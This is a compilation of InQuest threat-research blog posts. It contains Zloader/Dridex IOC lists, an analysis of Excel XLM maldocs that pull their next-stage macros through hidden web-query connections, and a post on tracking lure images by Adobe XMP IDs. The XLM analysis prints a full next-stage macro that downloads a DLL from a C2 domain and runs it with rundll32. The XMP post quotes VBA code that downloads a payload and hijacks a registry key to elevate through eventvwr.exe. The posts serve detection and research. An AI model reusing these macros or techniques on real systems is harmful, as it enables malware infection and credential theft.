- hacked wordpress account: shetkarimarket[.]com
- shared hosting IP: 160.153.133[.]148 AS21501 | DE | GODADDY-AMS
Relationship Graphing
A core facet of the InQuest platform is drawing relationships between related campaigns through a variety of identified "pivot anchor" such as embedded IOCs. You can get an idea for some of these capabilities through the DFI section on InQuest Labs, which allows for searching for and clustering samples based on a variety of shared anchors. Researchers with access to Virus Total Intelligence can leverage the graph interface to build visual clusters of these representations. This is a work in progress that we'll add additional information to in the future, but to give a high-level glance at the process, we depict an overview here: Fig 8. Virus Total Intelligence Graph.
Additional Observations and IOCs
As another quite aside, we can automate the extraction of relevant IOCs from InQuest Labs via our open API. In the following example we're mixing direct access via 'curl' as well as showing off python-inquestlabs a command-line interface and importable library that provides a Pythonic interface over the API:
```
$ for hash in curl -s "https://labs.inquest.net/api/dfi/search/alert?title=Macrosheet%20CHAR%20Obfuscation" | jq -r '.data[].sha256' | sort
do
  echo $hash;
  for ioc in curl -s "https://labs.inquest.net/api/dfi/details/attributes?sha256=$hash" | jq -r '.data[] | select(.attribute=="url") | .value'
  do  echo "    $ioc";
  done
done
```
For an continuously updating list of matching samples, search InQuest Labs for the CHAR() Obfuscation, as of the time of this writing, the following list of hashes is nearly complete:
01b9b8580230a33a84fa39cf8238fef4d428cd9cf83f9acfb449626ee5b8ea8c InQuest Labs, VT
01eb92643ad7c0d6f962cef1058c0b7bf2cea2ffb26f1addb528aa51d0d801be InQuest Labs, VT
034727d9d7d2405e5c8dc7e7389fbbdee22e9a30da244eb5d5bf91e4a1ba8ea7 InQuest Labs, VT
05d8a7144a984b5f9530f0f9abe96546cfec0ad2c8cdc213bc733d7e14e750df InQuest Labs, VT
06ac09e487c9892aa0389ab18eaf49b3156ccb385c73eea17ebee49ffc6cc2c9 InQuest Labs, VT
0de8f64c4547649d613fec45cb7a3c6b878753045c448ac5aa4a09879ed14c9c InQuest Labs, VT
0f27a954be7a868f71e0635e1f31c294a3dbd48839372c05b99de981789f162d InQuest Labs, VT
0f75b7f01e21ea4fa028c2098f5e98ef2cb5b65aea0799a38323ea762c84ea21 InQuest Labs, VT
10f79daf80a8c4c608fb6cfa7e1d7764dbf569a9a15832174225dda3c981062a InQuest Labs, VT
16fc7fc8328ebb1e695917017bfda60408e2c6d0b6de5d56f4e14b0dca05cb06 InQuest Labs, VT
18305d1efe2efa29dfcdffbfbb8a9f7900ae09f4a3c833aa1a756dea150a1733 InQuest Labs, VT
23378ceac2d30515419a0a4e51c009eba6f910173e09e1292820277804e6b26b InQuest Labs, VT
2418faaee50d2f14c9d2140d2d5e08933b3ce772cc624540f60baaa6757c8ae6 InQuest Labs, VT
284c7be60b77434f91fce2572e45adddca0cdfb25cce4cf63bc4f7e1c17e1025 InQuest Labs, VT
2abbf872f2f44cb8b8fb2bbd7bb0fdc4f6be4eec8098ce97dd931e5953082010 InQuest Labs, VT
3611917480763942f7b8a2e7b407b081059a305bd6fa2a2c0f017a5f8520dbac InQuest Labs, VT
3c4d881f9b9ca8a4a2387f79640d914b0c14792030fb9c762bf65b9e3503f3b8 InQuest Labs, VT
3f73d0063b3eb141f7847c2f5477aff0c95a8f70998b9baa55059bdf74f70525 InQuest Labs, VT
44457b45620327b7bddd7e441a8a369de22dd568457193de0e3317bdda09b4fd InQuest Labs, VT
44558f2bf67d9fb936abd4d28df3efedfa9a863db88158ec3a8d31463c4033e1 InQuest Labs, VT
4538af0fe8dd2c8477f4f0f62a1b468de0af46a681a79ffbc2b99d839c13b826 InQuest Labs, VT
467c668373171fa4900025633e43ddb6e2aea0a2b44573f0648323374404b4ab InQuest Labs, VT
477bf4d158decc2388692fce07c01c73ab94b1002938b50e9df20422230e48da InQuest Labs, VT
4977447b055636772f26ab45416a2580c40bd49963e49687327958fd1700af84 InQuest Labs, VT
4c01b534c5a654e7d1441c34bbc842d6616164f6d547f1c5e8d72040bd934d90 InQuest Labs, VT
4e105f96511b17aab8bbf9d241a665b466e4d0c4dd93af83710ec6423ceb1b0f InQuest Labs, VT
54e24143d4534279197382e3de600d9c9da61809044608d2a0dde59234b9dfe6 InQuest Labs, VT
5690149163be72ab526817ce42254efdfac36cc909656fc9e681a1fc2dec5c68 InQuest Labs, VT
56f1feda6292a6d09ad5fae817bdd384e7644a9990a9fe2fdabf2df013018d54 InQuest Labs, VT
58e2b09425bb741c3e61f76d59d4528a548fbad248649c50fc38b37044ad7947 InQuest Labs, VT
5d126829d37640cd200e99af723b681eff45ed1de3bfbcb0e3c1721c15dfc651 InQuest Labs, VT
60e71559052012c4ba8c306057712da64d8f9f0a9767ed8e69cd38609841e079 InQuest Labs, VT
6654a38cba97469680b916233fa9e3a2cf97a1f6f043def9c76a64fb285f32de InQuest Labs, VT
6d61f0ca90d9872906dd224ff4757150b346acba0977a1106bf51b45b8229db1 InQuest Labs, VT
7951eeb4e888889f8384c75bcf094c5d901ea036c09af0ab0a6bcccfa9375e2d InQuest Labs, VT
7b40c9372dbf3bf008d07fcd94cf9677d80771be5cbf2682ea2004c4c27b2cd2 InQuest Labs, VT
7cce4070d19cb5aaaf5d8ebc92fc3d5fa1cc15112fb2ce750106baca1cfd76c8 InQuest Labs, VT
8718b3c22083fe5185a6781ac1c58a009e859c0e0e00833f0b4a6df58e4468e4 InQuest Labs, VT
89a2f612e3b86974e862334844991e0fc60ff1c2aca26498722670713bb2553a InQuest Labs, VT
8a6e4c10c30b773147d0d7c8307d88f1cf242cb01a9747bfec0319befdc1fcaf InQuest Labs, VT
8e0ffc819b4abaa2753120547ffd70d0d1868b5ad6f269c06eb2ef19cf24eefc InQuest Labs, VT
905bd680d5fcb70da36847406655dd9aaafabff2329e46e2dd89667f9434de92 InQuest Labs, VT
9267ebb91110d9c686bd83ed9c6bade5c5066220873f11e756112dd5a53a4eca InQuest Labs, VT
9309ec88e2ce12fd2304a5007feee41f11b3ce51510c96f95bf64d3770a2064b InQuest Labs, VT
955d59e66e24b4585dd044b1576f03ff0e6d8306397766420806979475eededd InQuest Labs, VT
95d7f675d8c63be4aa86df6670537638557589b2e98a0d3f4087800d05fb7e04 InQuest Labs, VT
97489f14edf02081943ba6bdc4f8ddc61b489c2d114eff2fc560f6225f3c8907 InQuest Labs, VT
9a986ac244f8f65bc151cac813228ab38c9882b37f40d0e4c44ca15ac5ef6353 InQuest Labs, VT
a3c2b927224bf96e9c92c7430a42dd0b399d72e27d54edafada375ab5a91871c InQuest Labs, VT
a86275faa2934c1b5de6796b7aba5b4b17d1bc33c2c69eeb0aa8a6d560fb3230 InQuest Labs, VT
ac1faa3883789dfe81791ba5e653a38b2a89a397dab952a962c642dc89f2c514 InQuest Labs, VT
ad2089580d0aa874ef3ecdc8e88487f552e760d32028ddf35574f3d7020ec61c InQuest Labs, VT
b77d17b89be9ae351c496c22750a132020668ae4342b05f00f8430ce4cbb4792 InQuest Labs, VT
bd7cdfe5d7164ccfd251fbec6d2256a765b496bfff8e72358800fd6f416f785f InQuest Labs, VT
bd8e014f428f455df4347aa27a9281a6cfdb6b3375699ef8e581ca05790c5aa1 InQuest Labs, VT
c5ef34f410d708520bc5d56cac0d418fed0a8316d53c5e737c28d1a3480fd559 InQuest Labs, VT
cdacf5204c7c0ccb7d936ddb684306a80e54a177735c8742eb38d600eb6e7eb7 InQuest Labs, VT
d07556af26a8c273f112725a4171898fb7a29ac9b5c1e075cfa2494d4ab9a820 InQuest Labs, VT
d1506e2684cba9fc75b909d2b6acbcd9ba8c7ce613fd464e147bd6d2e217ae78 InQuest Labs, VT
d8374f78c29ed45265ca65a13b4a84bb2ad6eed434fdd2d9af75394753a7cfb8 InQuest Labs, VT
d886df7150bc956ecdae96ad119845558c4413b03383c219c99e175ab219a39e InQuest Labs, VT
dbc2e390b9fbd9bbb046cb38582a125aec405cda17a71c29ed2a25abb6c63855 InQuest Labs, VT
dbfd7810f2198eee4d92313db61b13ca702946a72c38c3498a99d5ac3943c0de InQuest Labs, VT
de511a3682b5a7a0c239395eb53fcce01b2f2d265ce56f477ab246b0df63c9cc InQuest Labs, VT
de534a59a6b5a0dab1cde353473657d1a3fb2bd4a8839cf8555afadc8aabbf72 InQuest Labs, VT
de9ef9ddcc649559b3166ba13b73da19da93b33bda401e4007190253964aaed4 InQuest Labs, VT
e11f77f4fb5dfa34ad52137aa8bda5555ba962528b7e39db4b0a71ec138ed79f InQuest Labs, VT
e468618f7c42c2348ef72fb3a733a1fe3e6992d742f3ce2791f5630bc4d40f2a InQuest Labs, VT
e75c0c54aeffac6316e56d1e9c363008b5de12de264da4498efa5d56b14e153f InQuest Labs, VT
f2a41bbae3de5c4561410e71f7c7005710d1f6f0874f6add0ec5f797dce98076 InQuest Labs, VT
f39f7ee103e33432a5faa62ab94bbf29476f0f7d41f5683a257e648a11d69e43 InQuest Labs, VT
f405e108872cdfe8ea3d9a57a564c272c2d738316bce3c40df79eeeb312409ab InQuest Labs, VT
f4e43a4ef567bf7f3c057478f6eaefb62f7ef57e76bce2275e3eb536be942480 InQuest Labs, VT
fd493baba5aaf55b0d9a6f317b66983b20559a673358f472991c528823257b40 InQuest Labs, VT
fd961ad277c047ec93d0fb8561ecce285bb9263de2408ba60ef8efd53013549d InQuest Labs, VT
fe13dcf6fe72e89413d4b4297205b4ffeab39384f127d18b1d43c89aebe6d6a8 InQuest Labs, VT The following samples were observed to follow a different attack sequence while matching Zloader sample patterns. After further analysis, these hashes were discovered to belong to the Dridex family of banking trojans:
1cddbb162a43e08997bab20b8a2926495763a117dec8c0cbf898844a23d7d2b1 InQuest Labs, VT
316edaff165c6148de4f6672c867da1a3ac3ababd2d1709f2f4c695d4fe637fc InQuest Labs, VT
7217d06b0c3860cd671a95db5df024b64592788634e71683389843693f1ef9cf InQuest Labs, VT
79f8ab4f45113916fcc6e46289f38df6e3db49e47621b439d4df4c3e0145f3d7 InQuest Labs, VT
c01e9dc36e11c8ea226f076e31914272e6f6dc58afea557242c6da44d9985fbb InQuest Labs, VT
c07f9c7bc2614979354299183a4b0bdf1729af65b36d6b3bc612b8e7947737b0 InQuest Labs, VT
c5b99d2371f542cf90063ce1ea55c2dd621658baeb19520737faa7850b1dd9f6 InQuest Labs, VT
d1c53de4faccb95a8fe202541aa17147dc5e171dee6f2a26b167794bb7f335ad InQuest Labs, VT
ff0f168140bc9deba47986c40e1b43c31b817ad2169e898d62f4f59bb4996252 InQuest Labs, VT
- Payload URL: hxxp://ginduq[.]com/glex.exe
- 8.208.78.74 AS45102 | CN | CNNIC-ALIBABA-US-NET - Alibaba (US) Technology Co., Ltd.
For further details, comments, and suggestions... please reach out to the team on Twitter @InQuest.

Originally published 2020-05-06 on the InQuest blog. Written with William MacArthur and Amirreza Niakanlahiji.

03.18.2020: Getting Sneakier: Hidden Sheets, Data Connections, and XLM Macros

Wed, 18 Mar 2020 00:00:00 -0500

Introduction

Over the past few weeks, we have observed a surge in maldocs leveraging XLM macros. A trend that other researchers have noticed and provided analysis on. Examples include "A Safe Excel Sheet Not So Safe" written by Xavier Mertens, as well as "Excel 4.0 Macro MalSpam Campaigns" written by Diana Lopera.

In this post, we provide a detailed analysis of an interesting campaign that is tied to a variety of executable payloads, a subject matter we'll be covering in a future blog. As of the time of writing, detection rates for this class of attack are relatively low, and these samples happily bypass the internal GSuite and O365 protection mechanisms.

We'll dive into the analysis of two separate documents. The first one was attached to an email that was sent to us directly by the threat actor in late February (offline). The second was captured on March 17th, and in this case, the C2 servers are currently active.

Document One: inv-27101.xls

sha256: a83890bbc081b9ec839c9a32ec06eae6f549a0f85fe0a30751ef229a58e440af | InQuest Labs - InQuest.net | VirusTotal

Document Two: Invoice85005.xls

sha256: bc39d3bb128f329d95393bf0a4f6ec813356e847a00794c18258bfa48df6937f | InQuest Labs - InQuest.net | VirusTotal

Analysis of Document One: inv-27101.xls

Depicted below is a graphic extracted from this malicious document lure. This is a common tactic employed by attackers today. To embed coercive text within an image in an attempt to bypass string-based detection engines while social engineering the target into activating the embedded logic. This document has one Excel sheet and one hidden macrosheet:

The macrosheet can be easily unhidden through the Microsoft Excel UI/UX, as seen here in this animation:

Once the target user enables the active content, an Auto_Open sequence is activated that pivots to the cell D49, the contents of which are shown here:

This embedded macro first checks a few conditions before executing its primary directive, exiting early if any of the following conditions are not met:

The cell containing GET.WORKSPACE(19) ensures a mouse is present.
The cell containing GET.WORKSPACE(42) ensures that the system is capable of playing sounds.
The cell containing GET.WORKSPACE(1) ensures that the environment is Windows.

These routines are anti-sandbox tactics. The actor wants to ensure that the sample is not being detonated by a behavioral analysis tool. To learn more about the GET.WORKSPACE() function, see Excel 4.0 Macro Functions Reference.

Assuming the conditions are met, the primary directive stored within the cell labeled 'asdf' is executed. Let's take a look at the cell 'asdf', depicted below:

This logic checks for content in the cell U113 of the first sheet every 2 seconds, in search of the string 'LOS'. The loop is continued while there is a matching; otherwise, execution continues within the I66 cell, which is pointed by 'sfgdfsh' label. The code on line I66 to I69, basically copies the cells U110-U113 in Sheet1 to I70-I73 cell in the macrosheet.

If you check the content of U110 to U113 cells on the Sheet1, without enabling the active content, you see that these cells are empty. This is the most interesting aspect of this campaign as, so far as we know, a novel technique. A "web query" object is utilized by the maldoc to pull cell content from a remote URL. The web query sends the request to this remote server upon document activation and keeps sending requests every few seconds after. One can see the reference URL (hxxps://pnxkntdl[.]xyz/KJSDBViad7) in clear text by simply opening the document in a hex viewer for example:

To further analyze how the URL is triggered, we'll use BiffView to parse the Excel document. If you search for the byte sequence '68 74 74 70' ("HTTP") you'll find that the URL lives within a BIFF DCONN object. This object triggers the web query, see the relevant flags highlighted in the depiction below that aligns the BIFF record with the relevant documentation:

The data returned from the remote URL is an XHTML (XML) document.

And the web query content is enclosed within the '<PRE>' element of that

The web query requests and responses are sent over an encrypted channel (HTTPS). To pierce into the communications between Excel and the remote site, we use mitmproxy. By default, mitmproxy listens on 127.0.0.1:8080. We change the proxy setting of the system to redirect all traffic through 127.0.0.1:8080:

The following content was returned from the remote URL, when the web query was executed in our lab:

<html> <head><base href="/lander/excel4_1581586732/index.html"> <link rel="stylesheet" href="resource://content-accessible/plaintext.css"> </head> <body> <pre> =CLOSE(FALSE) =CLOSE(FALSE) =CLOSE(FALSE) =CLOSE(FALSE)"</pre> </body> </html>

The content of <pre> element is copied to the cells U110 through U113. Because the resulting content of U110 will contain the substring 'LOS', the macro will loop and checks again within two seconds. This retrieved payload is completely benign. So what's going on here? This is good operational security on behalf of the actor. The remote server has not deemed us worthy of receiving the next stage of this malware. Perhaps the restriction is regional, maybe something else, luckily.... we got another document.

Analysis of Document Two: Invoice85005.xls

Similar to the previous sample, this one contains an Excel sheet and "very" hidden macrosheet. Very hidden macro sheets can not be revealed via a simple UI/UX toggle. They must be hex edited to be visible within the native Excel application. See our previous blog for more information. Again, a graphical lure with coercive text is used to entice the user into activating the embedded logic:

To unhide the macrosheet, we use Hexinator to change the type of the macrosheet manually. We know from previous research that a hidden and a very hidden sheet starts with "85 00 ?? ?? ?? ?? ?? ?? 01 01" and "85 00 ?? ?? ?? ?? ?? ?? 02 01" patterns respectively. To unhide these sheets, we just need to set the ninth byte to zero, as shown here in an animation:

Again, the macro checks a few conditions:

=IF(GET.WORKSPACE(42),CLOSE(TRUE)) =GET.WORKSPACE(13) =GET.WORKSPACE(14) =IF(H24<770, CLOSE(FALSE),) =IF(H25<381, CLOSE(FALSE),) =IF(GET.WORKSPACE(19),CLOSE(TRUE)) =IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))), ON.TIME(NOW()+"00:00:02", "agawf23f"),CLOSE(TRUE)) =RETURN()

it also checks whether the macrosheet is hidden

=WORKBOOK.HIDE("0TQ1ByZPP5", TRUE)

We can easily patch this condition by changing TRUE to FALSE.

It then jumps to U33 (agawf23f label):

=IF(ISNUMBER(SEARCH("s",Sheet1!S70)), GOTO(P54), ON.TIME(NOW()+"00:00:02", "rstegerg3")) =RETURN() =IF(ISNUMBER(SEARCH("s",Sheet1!S70)), GOTO(P54), ON.TIME(NOW()+"00:00:02", "agawf23f")) =RETURN()

This file also contains a web query object. The remote URL is seen below (hxxps://tdvomds[.]pw/12341324rfefv):

The web query will populate a few cells in Sheet1 if it can successfully connect to the remote URL. The above macrosheet copies these cells from Sheet1 to the macrosheet and then executes the lines.

Again, we use mitmproxy to capture the webquery response. Another approach is to modify the macro to prevent the execution of the second-level macro before enabling the macro. However, we are also interested in capturing the HTTP response.

The HTTP response contains an XHTML document, and this time, we are worthy of receiving the next-stage payload:

<html> <head><base href="/lander/df3f1f14f134f314f/index.html"> <link rel="stylesheet" href="resource://content-accessible/plaintext.css"> </head> <body> <pre> ="https://tdvomds.pw/fef23f23f" =GET.WORKSPACE(26) ="C:\Users\"&R[-1]C&"\AppData\Local\Temp\CVR"&RANDBETWEEN(1000,9999)&".tmp.cvr" ="C:\Users\"&R[-2]C&"\AppData\Local\Temp\"&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&RANDBETWEEN(100,999)&".vbs" ="C:\Users\"&R[-3]C&"\AppData\Local\Temp\"&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&RANDBETWEEN(1000,9999)&".vbs" =IF(ISNUMBER(SEARCH("32",GET.WORKSPACE(1))), GOTO(R[2]C),) =IF(ISNUMBER(SEARCH("64",GET.WORKSPACE(1))), GOTO(R[7]C),) =CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,R[-7]C,R[-5]C,0,0) =ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.",2) =CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\system32\rundll32.exe",""&R[-7]C&",DllRegisterServer",0,5) =CLOSE(FALSE) =LEFT(CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122)), RANDBETWEEN(4, 8)) =LEFT(CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122))&CHAR(RANDBETWEEN(97,122)), RANDBETWEEN(4, 8)) =FOPEN(R[-10]C,3) =FWRITELN(R[-1]C,"Dim "&R[-3]C&", "&R[-2]C&"") =FWRITELN(R[-2]C,"Set "&R[-4]C&" = CreateObject(""MSXML2.ServerXMLHTTP.6.0"")") =FWRITELN(R[-3]C,""&R[-5]C&".setOption(2) = 13056") =FWRITELN(R[-4]C,""&R[-6]C&".Open ""GET"", """&R[-17]C&""", False") =FWRITELN(R[-5]C,""&R[-7]C&".setRequestHeader ""User-Agent"", ""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)""") =FWRITELN(R[-6]C,""&R[-8]C&".Send") =FWRITELN(R[-7]C,"If "&R[-9]C&".Status = 200 Then") =FWRITELN(R[-8]C,"Set "&R[-9]C&" = CreateObject(""ADODB.Stream"")") =FWRITELN(R[-9]C,""&R[-10]C&".Open") =FWRITELN(R[-10]C,""&R[-11]C&".Type = 1") =FWRITELN(R[-11]C,""&R[-12]C&".Write "&R[-13]C&".ResponseBody") =FWRITELN(R[-12]C,""&R[-13]C&".SaveToFile """&R[-23]C&""", 2") =FWRITELN(R[-13]C,""&R[-14]C&".Close") =FWRITELN(R[-14]C,"End If") =FCLOSE(R[-15]C) =EXEC("explorer.exe "&R[-26]C&"") =WAIT(NOW()+"00:00:05") =ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.",2) =FOPEN(R[-28]C,3) =FWRITELN(R[-1]C,"Set obj = GetObject(""new:C08AFD90-F2A1-11D1-8455-00A0C91F3880"")") =FWRITELN(R[-2]C,"obj.Document.Application.ShellExecute ""rundll32.exe"","" "&R[-32]C&",DllRegisterServer"",""C:\Windows\System32"",Null,0") =FCLOSE(R[-3]C) =EXEC("explorer.exe "&R[-32]C&"") =FILE.DELETE(R[-34]C) =CLOSE(FALSE) =RETURN() </pre> </body> </html>

The content of "<pre>" element from the XHTML document is written to the sheet and executed as the next-stage:

In this particular case, the pivot macro downloads a DLL file from hxxps://tdvomds[.]pw/fef23f23f (acc5fe0088037ddc055f9286380c56583effa1186afe9d08caea3e197b2643fd (warning, actual sample) and executes rundll32 to call its DllRegisterServer function to register/execute it. The logic within the DLL communicates with the following C&C servers:

hxxps://aquolepp[.]pw/milagrecf.php
hxxps://dhteijwrb[.]host/milagrecf.php

Detection and Mitigation

Optical Character Recognition (OCR)

A solid generic approach to detect this and many similar malicious document lures is to carve out the embedded image and then extract the semantic content via OCR. Within the XLS/BIFFv8 format, records have a maximum size of 8,228 bytes. If the size of data is greater than what can fit in a single record, then the data must be split into chunks. The first chunk is put in the first record, and the rest of the data chunks are placed in subsequent CONTINUE (3Ch) records. To successfully extract images from XLM files, one needs to strip these CONTINUE headers from the extracted image. To accomplish this task automatically, we've extended the oledump BIFF plugin (plugin_biff.py) to include a new command line switch for extracting images. You can find our patch in our Github repository (lines 570 to 603):

https://github.com/InQuest/DidierStevensSuite/blob/BIFF-Image-Dump-Switch/plugin_biff.py#L570-L592

Suspicious Attributes

Didier Steven's oledump is a de facto tool in the arsenal of a maldoc analyst. We can leverage the BIFF plugin modified above to extract images, to filter for the DCONN record leveraged by both of the documents to retrieve a next-stage pivot:

$ oledump.py -p plugin_biff sample00/inv-27101.xls --pluginoptions "-o 876" 1: 4096 '\x05DocumentSummaryInformation' 2: 240 '\x05SummaryInformation' 3: 101088 'Workbook' Plugin: BIFF plugin 0876 135 DCONN : Data Connection

Additionally specifying the option to dump contents as a string, one can expose the embedded URL as well:

$ oledump.py -p plugin_biff sample00/inv-27101.xls --pluginoptions "-o 876 -s" 1: 4096 '\x05DocumentSummaryInformation' 2: 240 '\x05SummaryInformation' 3: 101088 'Workbook' Plugin: BIFF plugin 0876 135 DCONN : Data Connection ASCII: Connection hxxps://pnxkntdl[.]xyz/KJSDBViad7 Sheet1!DSKVJBdsj2

We've written and open-sourced a generic YARA hunting rule that looks for Microsoft Excel documents that contain a DCONN record and a URL:

Microsoft Excel Data Connection

To increase the detection accuracy, we can combine the above YARA rule with the following one to check the existence of hidden and "very" hidden macro sheets:

Microsoft Excel Hidden Macro Sheet

The samples above are all available for research and download via our open data portal https://labs.inquest.net.

IOCs

a83890bbc081b9ec839c9a32ec06eae6f549a0f85fe0a30751ef229a58e440af
acc5fe0088037ddc055f9286380c56583effa1186afe9d08caea3e197b2643fd
bc39d3bb128f329d95393bf0a4f6ec813356e847a00794c18258bfa48df6937f
hxxps://aquolepp[.]pw/milagrecf.php
hxxps://dhteijwrb[.]host/milagrecf.php
hxxps://pnxkntdl[.]xyz/KJSDBViad7
hxxps://tdvomds[.]pw/12341324rfefv
hxxps://tdvomds[.]pw/fef23f23f
aquolepp[.]pw
dhteijwrb[.]hos
pnxkntdl[.]xyz
tdvomds[.]pw

Originally published 2020-03-18 on the InQuest blog. Written with Amirreza Niakanlahiji.

09.30.2019: Adobe XMP: Tales of an Overlooked Anchor

Mon, 30 Sep 2019 00:00:00 -0500

Blog post by Pedram Amini and Mike Remen

Introduction

In this blog, we discuss Adobe Extensible Metadata Platform (XMP) identifiers (IDs) and how they can be used as both pivot and detection anchors. Defined as a standard for mapping graphical asset relationships, XMP allows for tracking of both parent-child relationships and individual revisions. There are three categories of identifiers: original document, document, and instance. Generally, XMP data is stored in XML format, updated on save/copy, and embedded within the graphical asset. This last tenet is critical to our needs as we'll be tracking the usage and re-usage of both malicious and benign graphics within common Microsoft and Adobe document lures.

Background

Let's begin with a visual reference. In the following graphic, each column represents a single asset. Each row within that column represents a unique revision or "instance" of that asset. The first column represents the original asset with each subsequent column representing a copy of the previous column:

Reference

Each instance of the asset carries with it three identifiers. The Original Document ID (OID), Document ID (DID), and Instance ID (IID). The Instance ID (IID) is updated on each saved revision of the asset. The Document ID (DID) remains the same for all revisions but is unique to that copy of the asset. Finally, the Original Document ID (OID) is a backreference to the original asset from which it was derived. We have observed two formats for these identifiers: MD5 hash (32 bytes) and GUID (36 bytes). Adobe XMP is an old standard originating back to 2001. To our knowledge, no one has previously applied the standard towards malware analysis.

Application and Alternatives

Having detailed the definitions, the question remains, how are these useful? First, graphical assets are commonly re-used across malware lures. Consider for example Microsoft Office documents that embed an image coercing the user to "enable content". While the macro and payload may vary from sample to sample, we have observed the same graphical asset re-used across many variants. Second, graphical assets are commonly lifted from legitimate sources. Examples here include fake invoice and phishing scams that embed legitimate company logos. In either case, tracking the usage of a graphical asset can prove valuable.

There are alternatives to XMP of course. In order of worst to best applicable for this use case (in our humble opinion), one can lean on: cryptographic file hashes, Optical Character Recognition (OCR), or perceptual hashes (aHash, pHash, dHash, wHash). While XMP data is easily stripped, when available, it provides advantages over all of these techniques:

Cryptographic file hashes such as MD5, SHA1, SHA256, etc vary wildly with even a single bit change.
OCR is a compute-intensive and error-prone process. We're already seeing malware authors leverage techniques to decrease the efficacy of OCR by, for example, implementing blurring or leveraging different shades of the same color for the foreground text and background. Additionally, not all graphical assets have text.
Perceptual hashes are also compute-intensive and error-prone, but generically a solid approach to apply when XMP data is unavailable.

In practice, InQuest watches ~1000 unique XMP IDs for the purposes of malware discovery. We utilize YARA hunt rules atop of VirusTotal Intelligence to harvest files into our corpora for further analysis (Deep File Inspection) and catalog. A significant slice of this data is made freely available to researchers via our free (as in beer) and open InQuest Labs data portal. Search an ever growing corpus of malicious and benign document samples by artifacts such as URLs, domains, IPs, e-mail addresses, file names, and XMP IDs. Upload documents for analysis and inclusion in the corpus. The usage of XMP IDs to anchor on new samples frequently results in the discovery of novel documents with low AV detection rates. Throughout the remainder of this blog, we'll reference samples from labs.inquest.net so that readers can follow along with real-world samples.

Microsoft Office DOCX with PNG

We begin with a simple sample. A Microsoft Office Word Document, in DOCX format:

edb24c68045b419bc45ada31f39dca62e8d6bec7b64e8d82d863f91213a398b8

Beginning in 2007, Microsoft changed the default document file format from the Compound Document Format (CDF/OLE) to the Open XML format. These files can simply be renamed from .docx to .zip and decompressed with standard tools. Simply unzipping this document will reveal the following image in the path ./word/media/image1.png:

A classic malware lure that entices the user into enabling active content which, in turn, will execute malicious macro logic to pivot to further payload stages. Note that this document lure triggers detection through analysis of the semantic context embedded within the image and extracted via Optical Character Recognition (OCR). You can see that layer exposed via InQuest Labs as depicted here in a screenshot excerpt:

Use the labs portal to pivot to other samples with coercive content in the OCR or plain-text semantic layers. While this blog is not intended to cover the specifics of the macro malware, this is a well-rounded sample in the sense that it combines data from multiple layers in an attempt to avoid detection and we'll take a slight detour to dissect it. These layers are trivially exposed through Deep File Inspection (DFI), a core tenet of the InQuest platform. Readers can follow along via this direct link on InQuest Labs, we begin with the following excerpt from the "Embedded Logic" layer which is executed upon document open via the startup hook "Auto_Open()":

    For i = 1 To 65535555
        If i = 65535555 Then
            For t = 1 To 65535555
                If t = 65535555 Then
                    For b = 1 To 65535555
                        If b = 65535555 Then
                            For a = 1 To 65535555
                                If a = 65535555 Then
                                    For x = 1 To 65535555
                                        If x = 65535555 Then

Five embedded loops, each looping to 65,535,555, for a total of 327,677,775 seemingly superfluous executed directives before the next block of logic is executed. What's the purpose of this? Probably an attempt at evading sandbox technologies that leverage dynamic analysis to monitor the behavior of samples in a controlled environment. By their nature, sample detonation must be limited in some way, be it based on time or instruction count. You can read more about sandbox technologies in our previous blog Defense in Depth: Detonation Technologies. Looking beyond this evasion logic, note that data is read from the "Semantic Context" layer of the document:

    Set c = ActiveDocument.Content

The data read is:

    Starthttp://bech0r.net/test.exeEnd

The "Start" and "End" markers are then stripped off and subsequent payload downloaded, executed, and hooked into the Windows Registry for persistence. The key lines of code from the VBA macro are shown here:

    StartWord = "Start": EndWord = "End"
    ...
    geturl = Replace(Replace(c.Text, StartWord, ""), EndWord, "")
    ...
    Call DownloadFile(URLtoFile, FilePath + "\payload.exe")
    ...
    Call RegiWrite("HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\", FilePath + "\payload.exe")
    ...
    RetVal = CreateObject("WScript.Shell").Run("eventvwr.exe")

The final executable payload, test.exe (VirusTotal, Joe Sandbox), turns out to be a harmless pentest sample of sorts as the executable is downloaded from http://bech0r.net, home to a legitimate security researcher (side note: awesome background cinematic hacker ambient beat on this site� this is the soundtrack we're using to kick off all hack sessions moving forward). Here is a screenshot of the benign output indicating the success of the execution of the lure:

Switching focus back to the task at hand, let's examine the AV consensus for the document lure on VirusTotal. Detection rates began with 14 vendors on 7/15/2018 and matured to 31 vendors on 9/24/2019, as depicted here:

We can leverage standard Linux command-line tools to extract the XMP IDs from the image:

$ strings ./word/media/image1.png | grep xpacket | xmllint --format - | grep iid


    <rdf:Description
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"'
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
    rdf:about=""
    xmpMM:OriginalDocumentID="xmp.did:59D68E8C27A2E711964BBD7939DA4803"
    xmpMM:DocumentID="xmp.did:5F6437DAA22811E7975EC6C88D5BC4AF"
    xmpMM:InstanceID="xmp.iid:5F6437D9A22811E7975EC6C88D5BC4AF"
    xmp:CreatorTool="Adobe Photoshop CS6 (Windows)">
    <xmpMM:DerivedFrom
    stRef:instanceID="xmp.iid:59D68E8C27A2E711964BBD7939DA4803"
    stRef:documentID="xmp.did:59D68E8C27A2E711964BBD7939DA4803"/>

Or, alternatively, use the ever popular Exiftool:

